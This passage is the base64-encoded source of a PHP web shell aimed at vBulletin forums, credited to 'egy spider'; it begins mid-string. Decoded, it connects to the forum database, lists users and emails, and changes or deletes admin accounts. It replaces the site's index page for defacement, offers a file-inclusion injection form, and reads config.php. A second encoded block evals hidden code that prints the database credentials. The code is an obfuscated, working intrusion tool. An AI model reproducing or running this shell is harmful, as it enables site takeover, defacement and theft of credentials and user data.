ZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eW
VsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRu
cGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT
0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxs
b3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZX
IgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+
IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJz
wvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFu
Z2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYm
djb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJv
cmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdG
g+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3Ro
Pg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIi
AvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZh
bHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT
0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRl
biIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbW
U9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIg
dmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCj
xmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRh
YmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2
xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIg
RS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPS
JDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIi
IHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbm
FtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3Rh
YmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG
9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAn
Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucH
V0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+
DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3
Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9y
ZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbW
UiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIg
bmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD
48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/
DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj
48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPS
JoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNv
bG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbW
V0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9y
PSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD
46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEFsLU1hc3N5YSkpOjo6Ojo8L3RoPjx0
aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCj
x0cj48dGQ+SW5kZXggTGluayA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJsaW5rIiB2YWx1ZT0iaHR0cDov
L3d3dy5lZ3lzcGlkZXIuY29tL2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZW
Nobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlu
cHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eX
BlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj
0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRo
b2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9Im
xpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6
Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgd
HlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5
kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90Z
Xh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmF
tZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZ
XIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx
1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJ
GRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJ
jaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyP
SIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGl
tZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFe
HBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmF
tZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48d
GQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0
KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+P
GlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB
0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0ia
GlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQp
pZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iI
G1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2x
vcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8d
Gg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU
9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGluc
HV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDo
gPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48d
GQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx
0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90c
j4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1B
PU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddK
SAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0
gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddO
w0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9
wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpO
w0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZ
vbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9P
SAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8
nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9ud
CBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGx
vdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzc
yAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4
nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJ
HJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSI
xIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZ
SIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUF
JTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyP
jx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC9
0ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNC
j8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJ
vcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgP
SBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiB
bICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c
2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9
zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINC
mJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVR
BQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiI
HZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imh
vc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+P
GlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDw
vdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZ
SA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU
+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Z
m9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSI
gYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiI
GJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjx
pbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+P
HRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJ
saWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NC
jw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8
+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gc
HJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZ
hciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVyb
jsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmV
mPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvb
XB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmR
leGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+I
itYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQ
iLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52Y
Wx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0
NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9P
SIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0
uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91c
igpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0
KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9P
W51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXg
udmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gY
igpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHs
NCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiP
EI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQ
iLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52Y
Wx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSg
pew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNC
nJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk
+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4d
CIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZ
hbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9D
QpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB
8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZ
GV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCml
uZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc
2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGF
yaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1c
m4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E
+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZ
XR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB
8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuI
GJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4
gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuI
GltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E
+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob
2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmV
hPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb
2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjx
ociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvc
mRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1
lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c
2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjw
vYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90Y
WJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuY29tPC9wPg0KPERJViBpZD0ibiIgYWx
pZ249ImNlbnRlciI+DQogIDxUQUJMRSBib3JkZXJDb2xvcj0iIzExMTExMSIgY2VsbFNwYWNpbmc9IjAiI
GNlbGxQYWRkaW5nPSIwIiB3aWR0aD0iMTAwJSIgYm9yZGVyPSIxIj4NCiAgICA8VEJPRFk+DQogICAgICA
8VFI+DQogICAgICAgIDxURCB3aWR0aD0iMTAwJSI+PHAgYWxpZ249ImNlbnRlciI+PFNUUk9ORz5vLS0tW
yBFZ1lfU3BJZEVyIHwgfCA8QSBlZ3lfc3BpZGVyQGhvdG1haWwuY29tPmVneV9zcGlkZXJAaG90bWFpbC5
jb208L0E+IHxkZXZlbG9wZXIgYnkgZWd5IHNwaWRlciAgIChhaG1lZCByYWdlaCkgXS0tLW88L1NU
Uk9ORz48L3A+PC9URD4NCiAgICAgIDwvVFI+DQogICAgPC9UQk9EWT4NCiAgPC9UQUJMRT4NCjwvRElWPg
0KPC9jZW50ZXI+IA0KIDwvYm9keT4NCjwvaHRtbD4=";
$egy_know="PD9waHANCiBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpew0KfSBlbHNlIHsNCiRmaWxlID0
kX1BPU1RbJ2ZpbGUnXTsgDQokZ2g9ImNtVnhkV2x5WlNna1ptbHNaUzRuWjJ4dlltRnNMbkJvY0NjcE93P
T0iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRnaCkpOw0KZWNobyAiPHAgYWxpZ249XCJjZW50ZXJcIj4iOw0
KZWNobyAiPGZvbnQgZmFjZT1cIlRhaG9tYVwiIHNpemU9XCIyXCIgY29sb3I9XCIjMDA4MDgwXCI+RGIgT
mFtZSA6PHNwYW4+IDwvc3Bhbj48L2ZvbnQ+IjsNCmVjaG8gJHZidWxsZXRpbi0+Y29uZmlnWydEYXRhYmF
zZSddWydkYm5hbWUnXTsNCmVjaG8gIjxicj4iOw0KZWNobyAiPGZvbnQgZmFjZT1cIlRhaG9tYVwiIHNpe
mU9XCIyXCIgY29sb3I9XCIjMDA4MDgwXCI+VXNlciBOYW1lIDo8c3Bhbj4gPC9zcGFuPjwvZm9udD4iOw0
